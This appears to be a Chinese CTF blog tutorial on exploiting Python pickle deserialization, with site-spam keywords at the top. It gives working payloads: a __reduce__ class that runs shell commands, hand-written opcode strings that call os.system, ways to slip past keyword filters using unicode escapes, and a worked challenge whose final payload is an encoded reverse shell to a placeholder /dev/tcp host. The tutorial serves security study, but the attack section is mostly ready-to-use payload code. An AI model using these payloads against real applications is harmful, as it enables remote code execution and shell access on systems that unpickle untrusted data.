2026/2/18 20:05:28
网站建设
项目流程
黄江仿做网站,漳州网站建设优化,电脑版和手机版网站怎么做,上海制作网站公司ckle简介
与PHP类似#xff0c;python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。 python有另一个更原始的序列化包marshal#xff0c;现在开发时一般使用pickle。 与json相比#xff0c;pickle以二进制储存#xff0c;不易人工阅读python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。python有另一个更原始的序列化包marshal现在开发时一般使用pickle。与json相比pickle以二进制储存不易人工阅读json可以跨语言而pickle是Python专用的pickle能表示python几乎所有的类型包括自定义类型json只能表示一部分内置类型且不能表示自定义类型。pickle实际上可以看作一种独立的语言通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高有的代码不能通过pickle序列化得到pickle解析能力大于pickle生成能力。其中这里有的代码通常涉及pickle协议中一些底层、特殊或非常规的操作它们超出了简单地“保存和恢复对象状态”的范畴直接操作栈和变量的底层指令pickle 的 opcode 包含了一系列用于操作虚拟机栈Stack和内存变量的指令这些指令在常规序列化中会被高层逻辑自动处理用户无法直接触发栈操作指令如 PUSH、POP、DUP、SWAP 等用于手动控制栈的内容。变量操作指令如 STORE存储变量、LOAD加载变量、DELETE删除变量等可直接修改全局 / 局部变量而常规序列化只会保存对象属性不会主动修改变量。执行任意代码的指令pickle 包含 REDUCE、GLOBAL、INST 等指令配合特殊操作可执行任意 Python 代码但常规序列化仅会调用对象的 __reduce__ 等方法不会主动构造恶意或非常规的代码执行逻辑例如通过 GLOBAL 指令加载 os.system再通过 CALL 指令执行系统命令这种操作无法通过序列化普通对象实现。非常规对象或特殊结构的构造对于一些没有明确 “状态” 的对象或需要动态构造的特殊结构常规序列化无法生成对应的 opcode函数 / 类的动态修改直接修改函数的 __code__ 属性或动态创建类的属性这类操作需要手动编写 opcode 实现。循环引用的特殊处理虽然 pickle 支持循环引用但手动编写 opcode 可更灵活地控制引用的创建顺序这是常规序列化无法做到的。pickle 协议的扩展或未公开指令pickle 的不同协议版本包含一些未被高层 API 使用的指令这些指令只能通过手动编写 opcode 调用例如Python 3.x 中新增的 FRAME、MEMOIZE 等指令用于优化序列化效率但常规序列化不会主动使用这些底层指令。object.reduce() 函数在开发时可以通过重写类的 object.__reduce__() 函数使之在被实例化时按照重写的方式进行。具体而言python要求 object.__reduce__() 返回一个 (callable, ([para1,para2...])[,...]) 的元组每当该类的对象被unpickle时该callable就会被调用以生成对象该callable其实是构造函数。在下文pickle的opcode中 R 的作用与 object.__reduce__() 关系密切选择栈上的第一个对象作为函数、第二个对象作为参数第二个对象必须为元组然后调用该函数。其实 R 正好对应 object.__reduce__() 函数 object.__reduce__() 的返回值会作为 R 的作用对象当包含该函数的对象被pickle序列化时得到的字符串是包含了 R 的。什么是opcodepython的opcode是一组原始指令用于在python解释器中执行字节码。每个opcode都是一个标识符代表一种特定的操作或指令。在python中源代码首先被破译为字节码然后由解释器逐条执行字节码执行字节码指令。这些指令以opcode的形式存储在字节码对象中并由python解释器按顺序解释和执行。每个opcode都有其特定的功能用于执行不同的操作例如变量加载、函数调用、数值运算、控制流程等。python提供了大量的opcode以支持各种操作和语言特性。INST i、OBJO、REDUCER都可以调用一个callable对象pickle由于有不同的实现版本在py3和py2中得到的opcode不相同。但是pickle可以向下兼容所以用v0就可以在所有版本中执行。import picklea{1: 1, 2: 2}print(f# 原变量{a!r})for i in range(6):print(fpickle版本{i},pickle.dumps(a,protocoli))image-20251123223701776pickle3版本的opcode示例# abcdb\x80\x03X\x04\x00\x00\x00abcdq\x00.# \x80协议头声明 \x03协议版本# \x04\x00\x00\x00数据长度4# abcd数据# q储存栈顶的字符串长度一个字节即\x00# \x00栈顶位置# .数据截止pickletools使用pickletools可以方便的将opcode转化为便于肉眼读取的形式import pickletoolsdatab\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1b1\nkey2b2q\x01\x85q\x02Rq\x03.pickletools.dis(data)image-20251123225547712pickle exp的简单demo这里举一道CTF例子[第十五届极客大挑战]ez_pythonimport base64import picklefrom flask import Flask, requestapp Flask(__name__)app.route(/)def index():with open(app.py, r) as f:return f.read()app.route(/calc, methods[GET])def getFlag():payload request.args.get(payload)pickle.loads(base64.b64decode(payload).replace(bos, b))return ganbadie!app.route(/readFile, methods[GET])def readFile():filename request.args.get(filename).replace(flag, ????)with open(filename, r) as f:return f.read()if __name__ __main__:app.run(host0.0.0.0)calc路由使用 pickle.loads 尝试反序列化处理后的字节串。如果这个字节串不是合法的序列化对象或者在反序列化过程中出现问题可能会引发错误。readFile路由打开这个文件名对应的文件进行读取并将文件内容返回给客户端。如果文件名不合法或者文件不存在可能会引发错误。#expimport osimport pickleimport base64class A():def __reduce__(self):#return (eval,(__import__(os).popen(ls / | tee a).read(),))return (eval,(__import__(os).popen(env | tee a).read(),))a A()b pickle.dumps(a)print(base64.b64encode(b))除了执行命令之外还可以进行变量覆盖import picklekey1 b321key2 b123class A(object):def __reduce__(self):return (exec,(key1b1\nkey2b2,))a A()pickle_a pickle.dumps(a)print(pickle_a)pickle.loads(pickle_a)print(key1, key2)image-20251123230606183基于opcode绕过字节码过滤对于一些题会对传入的数据进行过滤例如1.if bR in code or bbuilt in code or bsetstate in code or bflag in code2.a base64.b64decode(session.get(ser_data)).replace(bbuiltin, bBuIltIn).replace(bos, bOs).replace(bbytes, bBytes) if bR in a or bi in a or bo in a or bb in a:这个时候考虑用用到opcodePython中的pickle更像一门编程语言一种基于栈的虚拟机回到顶部如何手写opcode在CTF中很多时候需要一次执行多个函数或一次进行多个指令此时就不能光用 __reduce__ 来解决问题reduce一次只能执行一个函数当exec被禁用时就不能一次执行多条指令了而需要手动拼接或构造opcode了。手写opcode是pickle反序列化比较难的地方。在这里可以体会到为何pickle是一种语言直接编写的opcode灵活性比使用pickle序列化生成的代码更高只要符合pickle语法就可以进行变量覆盖、函数执行等操作。根据前文不同版本的opcode可以看出版本0的opcode更方便阅读所以手动编写时一般选用版本0的opcode。这里列举了几个opcode更多的可以去https://github.com/python/cpython/blob/master/Lib/pickle.py#L111opcode 描述 具体写法 栈上的变化 memo上的变化c 获取一个全局对象或import一个模块注会调用import语句能够引入新的包 c[module]\n[instance]\n 获得的对象入栈 无o 寻找栈中的上一个MARK以之间的第一个数据必须为函数为callable第二个到第n个数据为参数执行该函数或实例化一个对象 o 这个过程中涉及到的数据都出栈函数的返回值或生成的对象入栈 无i 相当于c和o的组合先获取一个全局函数然后寻找栈中的上一个MARK并组合之间的数据为元组以该元组为参数执行全局函数或实例化一个对象 i[module]\n[callable]\n 这个过程中涉及到的数据都出栈函数返回值或生成的对象入栈 无N 实例化一个None N 获得的对象入栈 无S 实例化一个字符串对象 Sxxx\n也可以使用双引号、等python字符串形式 获得的对象入栈 无V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈 无I 实例化一个int对象 Ixxx\n 获得的对象入栈 无F 实例化一个float对象 Fx.x\n 获得的对象入栈 无R 选择栈上的第一个对象作为函数、第二个对象作为参数第二个对象必须为元组然后调用该函数 R 函数和参数出栈函数的返回值入栈 无. 程序结束栈顶的一个元素作为pickle.loads()的返回值 . 无 无( 向栈中压入一个MARK标记 ( MARK标记入栈 无t 寻找栈中的上一个MARK并组合之间的数据为元组 t MARK标记以及被组合的数据出栈获得的对象入栈 无) 向栈中直接压入一个空元组 ) 空元组入栈 无l 寻找栈中的上一个MARK并组合之间的数据为列表 l MARK标记以及被组合的数据出栈获得的对象入栈 无] 向栈中直接压入一个空列表 ] 空列表入栈 无d 寻找栈中的上一个MARK并组合之间的数据为字典数据必须有偶数个即呈key-value对 d MARK标记以及被组合的数据出栈获得的对象入栈 无} 向栈中直接压入一个空字典 } 空字典入栈 无p 将栈顶对象储存至memo_n pn\n 无 对象被储存g 将memo_n的对象压栈 gn\n 对象被压栈 无0 丢弃栈顶对象 0 栈顶对象被丢弃 无b 使用栈中的第一个元素储存多个属性名: 属性值的字典对第二个元素对象实例进行属性设置 b 栈上第一个元素出栈 无s 将栈的第一个和第二个对象作为key-value对添加或更新到栈的第三个对象必须为列表或字典列表以数字作为key中 s 第一、二个元素出栈第三个元素列表或字典添加新值或被更新 无u 寻找栈中的上一个MARK组合之间的数据数据必须有偶数个即呈key-value对并全部添加或更新到该MARK之前的一个元素必须为字典中 u MARK标记以及被组合的数据出栈字典被更新 无a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈第二个元素列表被更新 无e 寻找栈中的上一个MARK组合之间的数据并extends到该MARK之前的一个元素必须为列表中 e MARK标记以及被组合的数据出栈列表被更新 无对于做题而言会opache改写就行了INST i、OBJ o、REDUCE R 都可以调用一个 callable 对象RCE demo:R:bcos\nsystem\n(Swhoami\ntR.c获取全局对象指令。格式为 c[模块]\n[对象]\n这里是加载 os 模块的 system 函数。(压入 MARK 标记。Swhoami压入字符串 whoami 作为参数。t构建元组将 MARK 到当前位置的元素打包成元组。R调用指令REDUCE执行栈顶的可调用对象os.system并传入元组参数。.结束返回结果。ib(Swhoami\nios\nsystem\n.(压入 MARK 标记。Swhoami压入参数 whoami。i实例化指令INST需要栈顶是类 / 函数其下是参数。os\nsystem加载 os.system 函数作为可调用对象。.结束执行函数调用。ob(cos\nsystem\nSwhoami\no.o调用指令OBJECT找到 MARK 标记将 MARK 后的第一个元素作为可调用对象后续作为参数执行调用。无R,i,o os可过b(cos\nsystem\nScalc\nos.无R,i,o os 可过 关键词过滤b(Skey1\nSval1\ndSvul\n(cos\nsystem\nVcalc\nos.V操作码是可以识别\u (unicode编码绕过)特别是命令有特殊功能字符这里有一个坑 \n是换行如果用赛博厨子 会将 \n 当作字符处理易出错所以要用python处理import base64opcodebprint(base64.b64encode(opcode))回到顶部例题import base64import picklefrom flask import Flask, sessionimport osimport randomapp Flask(__name__)app.config[SECRET_KEY] os.urandom(2).hex()app.route(/)def hello_world():if not session.get(user):session[user] .join(random.choices(admin, k5))return Hello {}!.format(session[user])app.route(/admin)def admin():if session.get(user) ! admin:return fscriptalert(Access Denied);window.location.href//scriptelse:try:a base64.b64decode(session.get(ser_data)).replace(bbuiltin, bBuIltIn).replace(bos, bOs).replace(bbytes, bBytes)if bR in a or bi in a or bo in a or bb in a:raise pickle.UnpicklingError(R i o b is forbidden)pickle.loads(base64.b64decode(session.get(ser_data)))return okexcept:return error!if __name__ __main__:app.run(host0.0.0.0, port8888)审计就不说前面也就是去爆破一下key通过flask-unsign去伪造一下admin的cookie重点看pickle反序列化部分try:a base64.b64decode(session.get(ser_data)).replace(bbuiltin, bBuIltIn).replace(bos, bOs).replace(bbytes, bBytes)if bR in a or bi in a or bo in a or bb in a:raise pickle.UnpicklingError(R i o b is forbidden)pickle.loads(base64.b64decode(session.get(ser_data)))return okexcept:return error!首先将opcode进行关键字替换然后base64解码赋值给a接着进行if判断Riob是否存在a中然后进行pickle反序列化这里虽然禁用操作符使得难以绕过但是waf存在逻辑漏洞也就是说pickle的对象是ser_data而不是a所以我们opcode中有os虽然会被替换为Os但是我们还是能执行opcode然后这里用到的是前面的无R,i,o os 可过 关键词过滤import pickletoolsdatab(Skey1\nSval1\ndSvul\n(cos\nsystem\nVcalc\nos.pickletools.dis(data)image-20251123234151629然后我们打算进行反弹shell反弹shell中需要用到i参数而i参数会被检测但是V操作码是可以识别\u的所以我们可以把我们的代码进行Unicode编码然后放入payload中image-20251123234347791\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002f\u0078\u0078\u0078\u0078\u0020\u0030\u003e\u0026\u0031\u0027import pickletoolsdatab(Skey1\nSval1\ndSvul\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002e\u0078\u0078\u002f\u0078\u0078\u0078\u0078\u0020\u0030\u003e\u0026\u0031\u0027\nos.pickletools.dis(data)image-20251123234457018可以看到虽然用了Unicode编码但还是被解析了。当然这里要改成自己服务器的ip和端口构造完opcode之后那就可以去伪造cookie了伪造部分就不说了之后再/admin改包就可以反弹shell了。回到顶部pker工具补充一个工具https://github.com/eddieivan01/pkerGLOBAL对应opcodeb’c’获取module下的一个全局对象没有import的也可以比如下面的osGLOBAL(‘os’, ‘system’)输入module,instance(callable、module都是instance)INST对应opcodeb’i’建立并入栈一个对象可以执行一个函数INST(‘os’, ‘system’, ‘ls’)输入module,callable,paraOBJ对应opcodeb’o’建立并入栈一个对象传入的第一个参数为callable可以执行一个函数OBJ(GLOBAL(‘os’, ‘system’), ‘ls’)输入callable,paraxxx(xx,…)对应opcodeb’R’使用参数xx调用函数xxx先将函数入栈再将参数入栈并调用li[0]321或globals_dic[‘local_var’]‘hello’对应opcodeb’s’更新列表或字典的某项的值xx.attr123对应opcodeb’b’对xx对象进行属性设置return对应opcodeb’0’出栈作为pickle.loads函数的返回值return xxx # 注意一次只能返回一个对象或不返回对象就算用逗号隔开最后也只返回一个元组